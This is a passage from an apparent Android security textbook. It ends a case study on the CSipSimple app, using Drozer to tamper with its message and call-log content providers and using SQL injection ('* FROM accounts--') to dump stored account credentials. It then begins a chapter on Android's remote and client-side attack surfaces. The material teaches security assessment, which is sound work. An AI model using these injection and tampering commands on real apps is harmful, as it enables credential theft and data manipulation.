now. These data correspond to the message activity/screen shown in Figure 4-8.
You can also attempt to write to or update the provider, using the
app.provider.update module. You pass in the content URI; the selection and
selection-args, which specifies the query constraints; the columns you want to
replace; and the replacement data. Here change the receiver and body columns
from their original values to something more nefarious:
dz> run app.provider.update content://com.csipsimple.db/messages
--selection "id=?" --selection-args 1 --string receiver "sip:[email protected]"
--string contact "sip:[email protected]" --string body "omg crimes"
--string full_sender "<sip:[email protected]>"
Done.
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You changed the receiver from [email protected] to [email protected], and the
message from Hello! to omg crimes. Figure 4-9 shows how the screen has been
updated.
Figure 4-8: CSipSimple message log screen
Figure 4-9: CSipSimple modified message
log screen
You also saw the calllogs provider, which you can also query:
dz> run app.provider.query content://com.csipsimple.db/calllogs
| _id | name | numberlabel | numbertype | date
| duration
new | number
| type | account_id | status_code |
text
| 5
| null | null
| 0
| 1372294364590 | 286
| "Bob" <sip:[email protected]> | 1
| 1
| 200
| Normal call clearing |
| 4
| null | null
| 0
| 1372294151478 | 34
| <sip:[email protected]>
| 2
| 1
| 200
| Normal call clearing |
...
|
status_
| 0
| 0
Much like the messages provider and messages screen, calllogs data shows
up in the screen shown in Figure 4-10.
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This data can also be updated in one fell swoop, using a selection constraint
to update all the records for [email protected]:
dz> run app.provider.update content://com.csipsimple.db/calllogs
--selection "number=?" --selection-args "<sip:[email protected]>"
--string number "<sip:[email protected]>"
Done.
Figure 4-11 shows how the screen with the call log updates accordingly.
Figure 4-10: CSipSimple call log screen
Figure 4-11: CSipSimple modified call log
screen
Injection
Content Providers with inadequate input validation or whose queries are built
improperly, such as through unfiltered concatenation of user input, can be vulnerable to injection. This can manifest in different ways, such as SQL injection
(for SQLite backed providers) and directory traversal (for file-system-backed
providers). Drozer provides modules for discovering these issues, such as the
scanner.provider.traversal and scanner.provider.injection modules.
Running the scanner.provider.injection module highlights SQL injection
vulnerabilities in CSipSimple:
dz> run scanner.provider.injection -a com.csipsimple
Scanning com.csipsimple...
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Not Vulnerable:
content://com.csipsimple.prefs/raz
content://com.csipsimple.db/
content://com.csipsimple.prefs/
...
content://com.csipsimple.db/accounts_status/
Injection in Projection:
content://com.csipsimple.db/calllogs
content://com.csipsimple.db/outgoing_filters
content://com.csipsimple.db/accounts/
content://com.csipsimple.db/accounts
...
Injection in Selection:
content://com.csipsimple.db/thread/
content://com.csipsimple.db/calllogs
content://com.csipsimple.db/outgoing_filters
...
In the event that the same SQLite database backs multiple providers, much
like traditional SQL injection in web applications, you can retrieve the contents
of other tables. First, look at what’s actually in the database backing these providers, once again querying calllogs using the app.provider.query module. This
time, add a projection argument, which specifies the columns to select, though
you’ll pull the SQLite schema with * FROM SQLITE_MASTER--.
dz> run app.provider.query content://com.csipsimple.db/calllogs
--projection "* FROM SQLITE_MASTER--"
| type | name
| tbl_name
| rootpage | sql
|
| table | android_metadata | android_metadata | 3
| CREATE TABLE
android_metadata (locale TEXT)
|
| table | accounts
| accounts
| 4
| CREATE TABLE
accounts (id INTEGER PRIMARY KEY AUTOINCREMENT,active INTEGER,wizard
TEXT,display_name TEXT,p
riority INTEGER,acc_id TEXT NOT NULL,reg_uri TEXT,mwi_enabled BOOLEAN,
publish_enabled INTEGER,reg_timeout INTEGER,ka_interval INTEGER,pidf_tuple_id
TEXT,force_contac
t TEXT,allow_contact_rewrite INTEGER,contact_rewrite_method INTEGER,
contact_params TEXT,contact_uri_params TEXT,transport
INTEGER,default_uri_scheme TEXT,use_srtp IN
TEGER,use_zrtp INTEGER,proxy TEXT,reg_use_proxy INTEGER,realm TEXT,
scheme TEXT,username TEXT,datatype INTEGER,data TEXT,initial_auth
INTEGER,auth_algo TEXT,sip_stack
INTEGER,vm_nbr TEXT,reg_dbr INTEGER,try_clean_reg INTEGER,
use_rfc5626 INTEGER DEFAULT 1,rfc5626_instance_id TEXT,rfc5626_reg_id
TEXT,vid_in_auto_show INTEGER DEFAUL
T -1,vid_out_auto_transmit INTEGER DEFAULT -1,rtp_port INTEGER DEFAULT –
1,rtp_enable_qos INTEGER DEFAULT -1,rtp_qos_dscp INTEGER DEFAULT –
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1,rtp_bound_addr TEXT,rtp_p
ublic_addr TEXT,android_group TEXT,allow_via_rewrite INTEGER DEFAULT 0,
sip_stun_use INTEGER DEFAULT -1,media_stun_use INTEGER DEFAULT -1,ice_cfg_use
INTEGER DEFAULT
-1,ice_cfg_enable INTEGER DEFAULT 0,turn_cfg_use INTEGER DEFAULT -1,
turn_cfg_enable INTEGER DEFAULT 0,turn_cfg_server TEXT,turn_cfg_user
TEXT,turn_cfg_pwd TEXT,ipv6_
media_use INTEGER DEFAULT 0,wizard_data TEXT) |
| table | sqlite_sequence | sqlite_sequence | 5
| CREATE TABLE
sqlite_sequence(name,seq)
You see that there’s a table called accounts, which presumably contains
account data, including credentials. You can use fairly vanilla SQL injection in
the projection of the query and retrieve the data in the accounts table, including login credentials. You’ll use * FROM accounts-- in your query this time:
dz> run app.provider.query content://com.csipsimple.db/calllogs
--projection "* FROM accounts--"
| id | active | wizard | display_name | priority | acc_id
| reg_uri
| mwi_enabled | publish_enabled | reg_timeout | ka_interval |
pidf_tuple_id | force_contact | allow_contact_rewrite
| contact_rewrite_method | contact_params | contact_uri_params | transport
| default_uri_scheme | use_srtp | use_zrtp
| proxy
| reg_use_proxy | realm | scheme | username | datatype
| data
| initial_auth | auth_algo | sip_stack |
...
| 1 | 1
| OSTN
| OSTN
| 100
|
<sip:[email protected]> | sip:ostel.co | 1
| 1
| 1800
| 0
| null
| null
| 1
| 2
| null
| null
| 3
|
sip
| -1
| 1
| sips:ostel.co:5061 | 3
|
*
| Digest | THISISMYUSERNAME
| 0
| THISISMYPASSWORD | 0
| null
| 0
| *98
| -1
| 1
| 1
|
...
N O T E The flaws in CSipSimple that are discussed in the preceding sections have
since been addressed. The CONFIGURE_SIP permission was moved to a more explicit
namespace (rather than android.permission) and was given a more detailed
description of its use and impact. Also, the SQL injection vulnerabilities in the Content
Providers were fixed, further limiting access to sensitive information.
Summary
This chapter gave an overview of some common security issues affecting Android
applications. For each issue, the chapter presented a public example to help
highlight the potential impact. You also walked through two case studies of
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publicly available Android apps. Each case study detailed how to use common
tools to assess the app, identify vulnerabilities, and exploit them.
The first case study used Androguard to perform static analysis, disassembly, and decompilation of the target application. In doing this, you identified
security-pertinent components you could attack. In particular, you found a
device lock/unlock feature that used SMS messages for authorization. Next,
you used dynamic analysis techniques, such as debugging the app, to augment
and confirm the static analysis findings. Finally, you worked through some
proof-of-concept code to forge an SMS message and exploit the application’s
device unlock feature.
The second case study demonstrated a quick and easy way to find Content
Provider-related exposures in an application using Drozer. First, you discovered
that user activity and sensitive message logs were exposed from the app. Next,
you saw how easy it is to tamper with the stored data. Finally, the case study
discussed going a step further and exploiting a SQL injection vulnerability to
retrieve other sensitive data in the provider’s database.
In the next chapter, we will discuss the overall attack surface of Android, as
well as how to develop overall strategies for attacking Android.
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CHAPTER
5
Understanding Android’s Attack
Surface
Fully understanding a device’s attack surface is the key to successfully attacking or defending it. This is as true for Android devices as it is for any other
computer system. A security researcher whose goal is to craft an attack using
an undisclosed vulnerability would begin by conducting an audit. The first
step in the audit process is enumerating the attack surface. Similarly, defending a computer system requires understanding all of the possible ways that a
system can be attacked.
In this chapter, you will go from nearly zero knowledge of attack concepts
to being able to see exactly where many of Android’s attack surfaces lie. First,
this chapter clearly defines the attack vector and attack surface concepts. Next,
it discusses the properties and ideologies used to classify each attack surface
according to impact. The rest of the chapter divides various attack surfaces into
categories and discusses the important details of each. You will learn about the
many ways that Android devices can be attacked, in some cases evidenced by
known attacks. Also, you will learn about various tools and techniques to help
you explore Android’s attack surface further on your own.
129
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An Attack Terminology Primer
Before diving into the depths of Android’s attack surface, we must first define
and clarify the terminology we use in this chapter. On a computer network, it
is possible for users to initiate actions that can subvert the security of computer
systems other than their own. These types of actions are called attacks; and thus
the person perpetrating them is called an attacker. Usually the attacker aims
to influence the confidentiality, integrity, or accessibility (CIA) of the target
system. Successful attacks often rely on specific vulnerabilities present in the
target system. The two most common topics when discussing attacks are attack
vectors and attack surfaces. Although attack vectors and attack surfaces are intimately related, and thus often confused with one another, they are individual
components of any successful attack.
N O T E The Common Vulnerability Scoring System (CVSS) is a widely accepted standard for classifying and ranking vulnerability intelligence. It combines several important concepts to arrive at a numeric score, which is then used to prioritize efforts to
investigate or remediate vulnerabilities.
Attack Vectors
An attack vector generally refers to the means by which an attacker makes his
move. It describes the methods used to carry out an attack. Simply put, it describes
how you reach any given vulnerable code. If you look deeper, attack vectors
can be classified based on several criteria, including authentication, accessibility, and difficulty. These criteria are often used to prioritize how to respond
to publicly disclosed vulnerabilities or ongoing attacks. For example, sending
electronic mail to a target is a very high-level attack vector. It’s an action that
typically doesn’t require authentication, but successful exploitation may require
the recipient to do something, such as read the message. Connecting to a listening network service is another attack vector. In this case, authentication may
or may not be required. It really depends on where in the network service the
vulnerability lies.
N O T E MITRE’s Common Attack Pattern Enumeration and Classification (CAPEC)
project aims to enumerate and classify attacks into patterns. This project includes and
extends on the concept of traditional attack vectors.
Attack vectors are often further classified based on properties of common
attacks. For example, sending electronic mail with an attachment is a more
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specific attack vector than just sending electronic mail. To go further, you could
specify the exact type of attachment. Another, more specific attack vector based
on electronic mail is one where an attacker includes a clickable uniform resource
locator (URL) inside the message. If the link is clickable, curiosity is likely to get
the better of the recipient and they will click the link. This action might lead to
a successful attack of the target’s computer. Another example is an image processing library. Such a library may have many functions that lead to execution
of the vulnerable function. These can be considered vectors to the vulnerable
function. Likewise, a subset of the application programming interface (API)
exposed by the library may trigger execution of the vulnerable function. Any
of these API functions may also be considered a vector. Finally, any program
that leverages the vulnerable library could also be considered a vector. These
classifications help defenders think about how attacks could be blocked and
help attackers isolate where to find interesting code to audit.
Attack Surfaces
An attack surface is generally understood as a target’s open flanks—that is to say,
the characteristics of a target that makes it vulnerable to attack. It is a physical
world metaphor that’s widely adopted by information security professionals.
In the physical world, an attack surface is the area of an object that is exposed
to attack and thus should be defended. Castle walls have moats. Tanks have
strategically applied armor. Bulletproof vests protect some of the most vital
organs. All of these are examples of defended attack surfaces in the physical
world. Using the attack surface metaphor allows us to remove parts of information security from an abstract world to apply proven logical precepts.
More technically speaking, an attack surface refers to the code that an attacker
can execute and therefore attack. In contrast to an attack vector, an attack surface
does not depend on attackers’ actions or require a vulnerability to be present.
Simply put, it describes where in code vulnerabilities might be waiting to be
discovered. In our previous example, an e-mail-based attack, the vulnerability
might lie in the attack surface exposed by the mail server’s protocol parser, the
mail user agent’s processing code, or even the code that renders the message on
the recipient’s screen. In a browser-based attack, all the web-related technologies supported by the browser constitute attack surfaces. Hypertext Transfer
Protocol (HTTP), Hypertext Markup Language (HTML), Cascading Style Sheets
(CSS), and Scalable Vector Graphics (SVG) are examples of such technologies.
Remember, though, by definition, no vulnerabilities need be present for an attack
surface to exist. If a particular piece of code can be exercised by an attacker, it
is a considered an attack surface and should be studied accordingly.
Similar to attack vectors, attack surfaces can be discussed both in general and
in increasingly specific terms. Exactly how specific one chooses to be usually
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depends on context. If someone is discussing the attack surface of an Android
device at a high level, they might point out the wireless attack surface. In contrast, when discussing the attack surface of a particular program they might
point out a specific function or API. Further still, in the context of local attacks,
they might point out a specific file system entry on a device. Studying one
particular attack surface often reveals additional attack surfaces, such as those
exposed through multiplexed command processing. A good example is a function that parses a particular type of packet inside a protocol implementation
that encompasses many different types of packets. Sending a packet of one
type would reach one attack surface whereas sending a packet of another type
would reach a different one.
As discussed later in the “Networking Concepts” section, Internet communications are broken up into several logical layers. As data traverses from one
layer to the next, it passes through many different attack surfaces. Figure 5-1
shows an example of this concept.
Web Server
Ports
Web Server
CGI
PHP
Interpreter
PHP
Application
Code
Figure 5-1: Attack surfaces involved in a PHP web app
In Figure 5-1, the outermost attack surface of the system in question consists
of the two web server ports. If the attack vector is a normal request (not an
encrypted one), the underlying attack surface of the web server software, as well
as any server-side web applications, are reachable. Choosing to target a PHP web
application, application code and the PHP interpreter both handle untrusted
data. As untrusted data is passed along, more attack surfaces are exposed to it.
On a final note, a given attack surface might be reachable by a number of attack
vectors. For example, a vulnerability in an image processing library might be
triggered via an e-mail, a web page, an instant messaging application, or other
vectors. This is especially relevant when vulnerabilities are patched. If the fix is
only applied to one vector, the issue may still be exploited via remaining vectors.
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Classifying Attack Surfaces
Generally the size of a target’s attack surface is directly proportional to how
much it interfaces with other systems, code, devices, users, and even its own
hardware. Many Android devices aim to interface with anything and everything.
In support of this point, Verizon used the phrase “Droid Does” to advertise just
how many things you can do with their device. Because the attack surface of an
Android device is so vast, dissection and classification is necessary.
Surface Properties
Researchers, including both attackers and defenders, look at the various properties of attack surfaces to make decisions. Table 5-1 depicts several key properties
and the reasoning behind their importance.
Table 5-1: Key Attack Surface Properties
PROPERTY
REASONING
Attack Vector
User interaction and authentication requirements limit the impact
of any vulnerability discovered in a given attack surface. Attacks that
require the target user to do something extraordinary are less severe
and may require social engineering to succeed. Likewise, some attack
surfaces can be reached only with existing access to the device or
within certain physical proximities.
Privileges Gained
The code behind a given attack surface might execute with extremely
high privileges (such as in kernel-space), or it might execute inside a
sandbox with reduced privileges.
Memory Safety
Programs written in non-memory-safe languages like C and C++ are
susceptible to more classes of vulnerabilities than those written with
memory-safe languages like Java.
Complexity
Complex code, algorithms, and protocols are difficult to manage and
increase the probability of a programmer making a mistake.
Understanding and analyzing these properties helps guide research priorities and improves overall effectiveness. By focusing on particularly risky attack
surfaces (low requirements, high privileges, non-memory-safe, high complexity,
and so on), a system can be attacked or secured more quickly. As a general rule,
an attacker seeks to gain as much privilege as possible with as little investment
as possible. Thus, especially risky attack surfaces are a logical place to focus.
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Classification Decisions
Because Android devices have such a large and complex set of attack surfaces,
it is necessary to break them down into groups based on common properties.
The rest of this chapter is split into several high-level sections based on the
level of access required to reach a given attack surface. Like an attacker would,
it starts with the most dangerous, and thus the most attractive, attack surfaces.
As necessary, many of the sections are split into subsections that discuss deeper
attack surfaces. For each attack surface, we provide background information,
such as the intended functionality. In several cases, we provide tools and techniques for discovering specific properties of the underlying code exposed by
the attack surface. Finally, we discuss known attacks and attack vectors that
exercise vulnerabilities in that attack surface.
Remote Attack Surfaces
The largest and most attractive attack surface exposed by an Android device,
or any computer system, is classified as remote. This name, which is also an
attack vector classification, comes from the fact that the attacker need not be
physically located near her victim. Instead, attacks are executed over a computer
network, usually the Internet. Attacks against these types of attack surfaces
can be particularly devastating because they allow an unknown attacker to
compromise the device.
Looking closer, various properties further divide remote attack surfaces into
distinct groups. Some remote attack surfaces are always reachable whereas
others are reachable only when the victim initiates network communications.
Issues where no interaction is required are especially dangerous because they
are ripe for propagating network worms. Issues that require minor interaction,
such as clicking a link, can also be used to propagate worms, but the worms
would propagate less quickly. Other attack surfaces are reachable only when
the attacker is in a privileged position, such as on the same network as his
victim. Further, some attack surfaces only deal with data that has already been
processed by an intermediary, such as a mobile carrier or Google.
The next subsection provides an overview to several important networking
concepts and explains a few key differences unique to mobile devices. The following subsections discuss in more detail the various types of remote attack
surfaces exposed by Android devices.
Networking Concepts
A solid understanding of fundamental networking concepts is necessary to
truly comprehend the full realm of possible attacks that can traverse computer
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networks. Concepts such as the Open Systems Interconnection (OSI) model and
the client-server model describe abstract building blocks used to conceptualize
networking. Typical network configurations put constraints on exactly what
types of attacks can be carried out, thereby limiting the exposed attack surface.
Knowing these constraints, and the avenues to circumvent them, can improve
both attackers’ and defenders’ chances of success.
The Internet
The Internet, founded by the United States Defense Advanced Research Projects
Agency (DARPA), is an interconnected network of computer systems. Home
computers and mobile devices are the outermost nodes on the network. Between
these nodes sit a large number of back-end systems called routers. When a smartphone connects to a website, a series of packets using various protocols traverse
the network in order to locate, contact, and exchange data with the requested
server. The computers between the endpoints, each referred to as a hop, make
up what is called a network path. Cellular networks are very similar except that
cell phones communicate wirelessly to the closest radio tower available. As a
user travels, the tower her device talks to changes as well. The tower becomes
the cell phone’s first hop in its path to the Internet.
OSI Model
The OSI model describes seven distinct layers involved in network communications. Figure 5-2 shows these layers and how they are stacked upon one another.
Layer 7: Application
Layer 6: Presentation
Layer 5: Session
Layer 4: Transport
Layer 3: Network
Layer 2: Data Link
Layer 1: Physical
Figure 5-2: OSI seven-layer model
■
Layer 1—The physical layer describes how two computers communicate
data to one another. At this layer, we are talking zeroes and ones. Portions
of Ethernet and Wi-Fi operate in this layer.
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■
Layer 2—The data link layer adds error-correction capabilities to data
transmissions traversing the physical layer. The remaining portions of
Ethernet and Wi-Fi, as well as Logical Link Control (LLC) and Address
Resolution Protocol (ARP), operate in this layer.
■
Layer 3—The network layer is the layer where Internet Protocol (IP),
Internet Control Message Protocol (ICMP), and Internet Gateway Message
Protocol (IGMP) operate. The goal of the network layer is to provide routing mechanisms such that data packets can be sent to the host to which
they are destined.
■
Layer 4—The transport layer aims to add reliability to data transmissions
traversing the lower layers. The Transmission Control Protocol (TCP) and
User Datagram Protocol (UDP) are said to operate at this layer.
■
Layer 5—The session layer manages, as its name suggests, sessions between
hosts on a network. Transport Layer Security (TLS) and Secure Socket
Layer (SSL) both operate in this layer.
■
Layer 6—The presentation layer deals with hosts syntactically agreeing
upon how they will represent their data. Though very few protocols
operate at this layer, Multipurpose Internet Mail Extensions (MIME) is
one notable standard that does.
■
Layer 7—The application layer is where data is generated and consumed
directly by the client and server applications of high-level protocols.
Standard protocols in this layer include Domain Name System (DNS),
Dynamic Host Configuration Protocol (DHCP), File Transfer Protocol
(FTP), Simple Network Management Protocol (SNMP), Hypertext Transfer
Protocol (HTTP), Simple Mail Transfer Protocol (SMTP), and more.
Modern network communications have extended beyond the seven-layer
OSI model. For example, web services are often implemented with one or more
additional layers on top of HTTP. In Android, Protocol Buffers (protobufs) are
used to transmit structured data and implement Remote Procedure Call (RPC)
protocols. Although protobufs appear to provide a presentation layer function,
such communications regularly use HTTP transport. The lines between the
layers are blurry.
The protocols mentioned in this section play an integral role in modern
Internet-connected devices. Android devices support and utilize all of the protocols mentioned here in one way, shape, or form. Later sections discuss how
these protocols and the attack surfaces that correspond to them come into play.
Network Configurations and Defenses
Today’s Internet ecosystem is much different than it was in 1980s. In that time,
the Internet was mostly open. Hosts could freely connect to each other and users
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were generally considered trustworthy. In the late ‘80s and early ‘90s, network
administrators started noticing malicious users intruding into computer systems.
In light of the revelation that not all users could be trusted, firewalls were created and erected to defend networks at their perimeter. Since then, host-based
firewalls that protect a single machine from its network are sometimes used, too.
Fast-forward to 1999: Network Address Translation (NAT) was created to
enable hosts within a network with private addresses to communicate with
hosts on the open Internet. In 2013, the number of assignable IPv4 address
blocks dwindled to an all-time low. NAT helps ease this pressure. For these
reasons, NAT is commonplace in both home and cellular networks. It works
by modifying addresses at the network layer. In short, the NAT router acts as
a transparent proxy between the wide area network (WAN) and the hosts on
the local area network (LAN). Connecting from the WAN to a host on the LAN
requires special configuration on the NAT router. Without such a configuration, NAT routers act as a sort of firewall. As a result, NAT renders some attack
surfaces completely unreachable.
Although they are both accessed wirelessly, mobile carrier networks differ
from Wi-Fi networks in how they are provisioned, configured, and controlled.
Access to a given carrier’s network is tightly controlled, requiring that a Subscriber
Identity Module (SIM) card be purchased from that carrier. Carriers often meter
data usage, charging an amount per megabyte or gigabyte used. They also
limit what mobile devices can do on their network by configuring the Access
Point Name (APN). For example, it is possible to disable interclient connections
through the APN. As mentioned before, carriers make extensive use of NAT as
well. All of these things considered, carrier networks limit the exposed attack
surface even further than home networks. Keep in mind, though, that not all
carrier networks are the same. A less security-conscious carrier might expose
all of its customers’ mobile devices directly to the Internet.
Adjacency
In networking, adjacency refers to the relationship between nodes. For the purposes of this chapter, there are two relevant relationships. One is between
devices on a LAN. We call this relationship network adjacent or logically adjacent.
This is in contrast to being physically adjacent where an attacker is within a
certain physical proximity to her victim. An attacker can establish this type of
relationship by directly accessing the LAN, compromising other hosts on it, or
by traversing a Virtual Private Network (VPN). The other relevant relationship
pertains to the privileged position of a router node. An attacker could establish
this position by subverting network routing or compromising a router or proxy
traversed by the victim. In doing so, the attacker is considered to be on-path. That
is, they sit on the network path between a victim and the other remote nodes
they communicate with. Achieving more trusted positions can enable several
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types of attacks that are not possible otherwise. We’ll use these concepts later to
explicitly state whether certain attack surfaces are reachable and, if so, to what
extent they are reachable.
Network Adjacency
Being a neighbor on the same LAN as a target gives an attacker a privileged
vantage point from which to conduct attacks. Typical LAN configurations leave
the network rather open, much like the Internet in the days of old. First and foremost, computers on a LAN are not behind any NAT and/or perimeter firewall.
Also, there is usually no router between nodes. Packets are not routed using
IP. Instead they are broadcasted or delivered based on Media Access Control
(MAC) addresses. Little to no protocol validation is done on host-to-host traffic.
Some LAN configurations even allow any node to monitor all communications
on the network. Although this is a powerful ability by itself, combining it with
other tricks enables even more powerful attacks.
The fact that very little protocol validation takes place enables all sorts of
spoofing attacks to succeed. In a spoofing attack, the attacker forges the source
address of his packets in an attempt to masquerade as another host. This makes
it possible to take advantage of trust relationships or conceal the real source of
attack. These types of attacks are difficult to conduct on the open Internet due
to anti-spoofing packet filter rules and inherent latency. Most attacks of this
kind operate at or above the network layer, but this is not a strict requirement.
One spoofing attack, called ARP spoofing or ARP cache poisoning, is carried
out at layer 2. If successful, this attack lets an attacker convince a target node
that it is the gateway router. This effectively pivots the attacker from being a
neighbor to being an on-path device. Attacks possible from this vantage point
are discussed more in the next section. The most effective defense against ARP
spoofing attacks involves using static ARP tables, something that is impossible
on unrooted mobile devices. Attacks against DNS are much easier because
the low latency associated with network adjacency means attackers can easily
respond faster than Internet-based hosts. Spoofing attacks against DHCP are
also quite effective for gaining more control over a target system.
On-Path Attacks
On-path attacks, which are commonly known as Man-in-the-Middle (MitM)
attacks, are quite powerful. By achieving such a trusted position in the network,
the attacker can choose to block, alter, or forward any traffic that flows through
it. The attacker could eavesdrop on the traffic and discover authentication credentials, such as passwords or browser cookies, potentially even downgrading,
stripping, or otherwise transparently monitoring encrypted communications.
From such a trusted vantage point, an attacker could potentially affect a large
number of users at once or selectively target a single user. Anyone that traverses
this network path is fair game.
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One way to leverage this type of position is to take advantage of inherent
trust relationships between a target and his favorite servers. Many software
clients are very trusting of servers. Although attackers can host malicious servers that take advantage of this trust without being on-path, they would need to
persuade victims to visit them. Being on-path means the attacker can pretend to
be any server to which the target user connects. For example, consider a target
that visits http://www.cnn.com/ each morning from his Android phone. An
on-path attacker could pretend to be CNN, deliver an exploit, and present the
original CNN site content so that the victim is none the wiser. We’ll discuss the
client-side attack surface of Android in more detail in the “Client-side Attack
Surface” section later in this chapter.
Thankfully, achieving such a privileged role on the Internet is a rather difficult
proposition for most attackers. Methods to become an on-path attacker include
compromising routers or DNS servers, using lawful intercepts, manipulating
hosts while network adjacent, and modifying global Internet routing tables.
Another method, which seems less difficult than the rest in practice, is hijacking DNS via registrars. Another relatively easy way to get on-path is specific to
wireless networks like Wi-Fi and cellular. On these networks, it is also possible
to leverage physical proximity to manipulate radio communications or host a
rogue access point or base station to which their target connects.
Now that we’ve covered fundamental network concepts and how they relate
to attacks and attackers, it’s time to dive deep into Android’s attack surface.
Understanding these concepts is essential for knowing if a given attack surface
is or is not reachable.
Networking Stacks
The holy grail of vulnerability research is a remote attack that has no victim
interaction requirements and yields full access to the system. In this attack
scenario, an attacker typically only needs the ability to contact the target host
over the Internet. An attack of this nature can be as simple as a single packet,
but may require lengthy and complex protocol negotiations. Widespread adoption of firewalls and NAT makes this attack surface much more difficult to
reach. Thus, issues in the underlying code might be exposed only to network
adjacent attackers.
On Android, the main attack surface that fits this description is the networking
stack within the Linux kernel. This software stack implements protocols like IP,
TCP, UDP, and ICMP. Its purpose is to maintain network state for the operating
system, which it exposes to user-space software via the socket API. If an exploitable buffer overflow existed in the processing of IPv4 or IPv6 packets, it would
truly represent the most significant type of vulnerability possible. Successfully
exploiting such an issue would yield remote arbitrary code execution in kernelspace. There are very few issues of this nature, certainly none that have been
publicly observed as targeting Android devices.
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N O T E Memory corruption vulnerabilities are certainly not the only type of issues
that affect the network stack. For example, protocol-level attacks like TCP sequence
number prediction are attributed to this attack surface.
Unfortunately, enumerating this attack surface further is largely a manual process. On a live device, the /proc/net directory can be particularly enlightening.
More specifically, the ptype entry in that directory provides a list of the protocol
types that are supported along with their corresponding receive functions. The
following excerpt shows the contents on a Galaxy Nexus running Android 4.3.
[email protected]:/ $ cat /proc/net/ptype
Type Device
Function
0800
ip_rcv+0x0/0x430
0011
llc_rcv+0x0/0x314
0004
llc_rcv+0x0/0x314
00f5
phonet_rcv+0x0/0x524
0806
arp_rcv+0x0/0x144
86dd
ipv6_rcv+0x0/0x600
[email protected]:/ $
From this output, you can see that this device’s kernel supports IPv4, IPv6,
two types of LLC, PhoNet, and ARP. This, and more information, is available
in the kernel’s build configuration. Instructions for obtaining the kernel build
configuration is provided in Chapter 10.
Exposed Network Services
Network-facing services, which also don’t require victim interaction, are the
second most attractive attack surface. Such services usually execute in userspace, eliminating the possibility for kernel-space code execution. There is
some potential, although less so on Android, that successfully exploiting issues
in this attack surface could yield root privileges. Regardless, exploiting issues
exposed by this attack service allows an attacker to gain a foothold on a device.
Additional access can then be achieved via privilege escalation attacks, discussed
later in this chapter.
Unfortunately though, most Android devices do not include any network
services by default. Exactly how much is exposed depends on the software
running on the device. For example, in Chapter 10 we explain how to enable
Android Debug Bridge (ADB) access via TCP/IP. In doing so, the device would
listen for connections on the network, exposing an additional attack surface that
would not be present otherwise. Android apps are another way that network
services could be exposed. Several apps listen for connections. Examples include
those that provide additional access to the device using the Virtual Network
Computing (VNC), Remote Desktop (RDP), Secure Shell (SSH), or other protocols.
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Enumerating this attack surface can be done in two ways. First, researchers can employ a port scanner such as Nmap to probe the device to see what,
if anything, is listening. Using this method simultaneously tests device and
network configuration. As such, the inability to find listening services does
not mean a service is not listening. Second, they can list the listening ports of a
test device using shell access. The following shell session excerpt serves as an
example of this method:
[email protected]:/ $ netstat -an | grep LISTEN
tcp6
0
0 :::1122
:::*
[email protected]:/ $
LISTEN
The netstat command displays information from the tcp, tcp6, udp, and
udp6 entries in the /proc/net directory. The output shows that something is
listening on port 1122. This is the exact port that we told the SSH Server app
from ICE COLD APPS to start an SSH server on.
Additional network services also appear when the Portable Wi-Fi hotspot
feature is enabled. The following shows the output from the netstat command
after this feature was activated:
[email protected]:/ $ netstat -an
Proto Recv-Q Send-Q Local Address
tcp
0
0 127.0.0.1:53
tcp
0
0 192.168.43.1:53
udp
0
0 127.0.0.1:53
udp
0
0 192.168.43.1:53
udp
0
0 0.0.0.0:67
[email protected]:/ $
Foreign Address
0.0.0.0:*
0.0.0.0:*
0.0.0.0:*
0.0.0.0:*
0.0.0.0:*
State
LISTEN
LISTEN
CLOSE
CLOSE
CLOSE
The preceding example shows that a DNS server (TCP and UDP port 53) and
a DHCP server (UDP port 67) are exposed to the network. Hosting a hotspot
significantly increases the attack surface of an Android device. If the hotspot
is accessible by untrusted users, they could reach these endpoints and more.
N O T E Retail devices often contain additional functionality that exposes more network services. Samsung’s Kies and Motorola’s DLNA are just two examples introduced
by original equipment manufacturer (OEM) modifications to Android.
As stated previously, network services are often unreachable due to the use
of firewalls and NAT. In the case where an attacker is able to achieve network
adjacency to a target Android device, these roadblocks go away. Further, there
are known public methods for circumventing the firewall-like protections that
NAT provides by using protocols like UPnP and NAT-PMP. These protocols can
allow attackers to re-expose network services and therefore the attack surfaces
they expose.
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Mobile Technologies
So far we have concentrated on attack surfaces that are common among all
Internet-enabled devices. Mobile devices expose an additional remote attack
surface through cellular communications. That attack surface is the one exposed
through Short Message Service (SMS) and Multimedia Messaging Service (MMS)
messages. These types of messages are sent from peer to peer, using the carriers’ cellular networks as transit. Therefore, the SMS and MMS attack surfaces
usually have no adjacency requirements and usually do not require any interaction to reach.
Several additional attack surfaces can be reached by using SMS and MMS
messages as an attack vector. For example, MMS messages can contain rich
multimedia content. Also, other protocols are implemented on top of SMS.
Wireless Application Protocol (WAP) is one such protocol. WAP supports push
messaging in addition to quite a few other protocols. Push messages are delivered to a device in an unsolicited manner. One type of request implemented as
a WAP Push message is the Service Loading (SL) request. This request allows
the subscriber to cause the handset to request a URL, sometimes without any
user interaction. This effectively serves as an attack vector that turns a clientside attack surface into a remote one.
In 2012, Ravi Borgaonkar demonstrated remote attacks against Samsung’s
Android devices at EkoParty in Buenos Aires, Argentina. Specifically, he used
SL messages to invoke Unstructured Supplementary Service Data (USSD) facilities. USSD is intended to allow the carrier and GSM (Global System for Mobile
communication) device to perform actions like refilling and checking account
balances, voice mail notifications, and more. When the device received such an
SL message, it opened the default browser without user interaction. When the
browser loaded, it processed Ravi’s page containing several tel:// URLs. These
URLs then caused the USSD code to be entered into the phone dialer automatically. At the time, many devices automatically processed these codes after they
were fully entered. Some devices (correctly) required the user to press the Send
button after. A couple of particularly nasty USSD codes present in Samsung’s
devices were used to demonstrate the severity of the attack. The first code was
able to destroy a user’s SIM card by repeatedly attempting to change its Personal
Unblocking Key (PUK). After ten failures the SIM would be permanently disabled, requiring the user to obtain a new one. The other code used was one that
caused an immediate factory reset of the handset. Neither operation required
any user interaction. This serves as an especially impactful example of what is
possible through SMS and protocols stacked on top of it.
Additional information about exercising the attack surface exposed by SMS
is presented in Chapter 11.
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Client-side Attack Surface
As previously mentioned, typical configurations on today’s networks mask
much of the traditional remote attack surface. Also, many client applications
are very trusting of servers they communicate with. In response to these facts,
attackers have largely shifted to targeting issues present in the attack surface
presented by client software. Information security professionals call this the
client-side attack surface.
Reaching these attack surfaces usually depends on potential victims initiating
actions, such as visiting a website. However, some attack techniques can lift this
restriction. On-path attackers are able to easily remove this restriction in most
cases by injecting their attack into normal traffic. One example is a watering
hole attack, which targets the users of a previously compromised popular site.
Despite being tricky to reach, targeting the client-side attack surface allows
attackers to set their crosshairs much more precisely. Attacks that use electronic
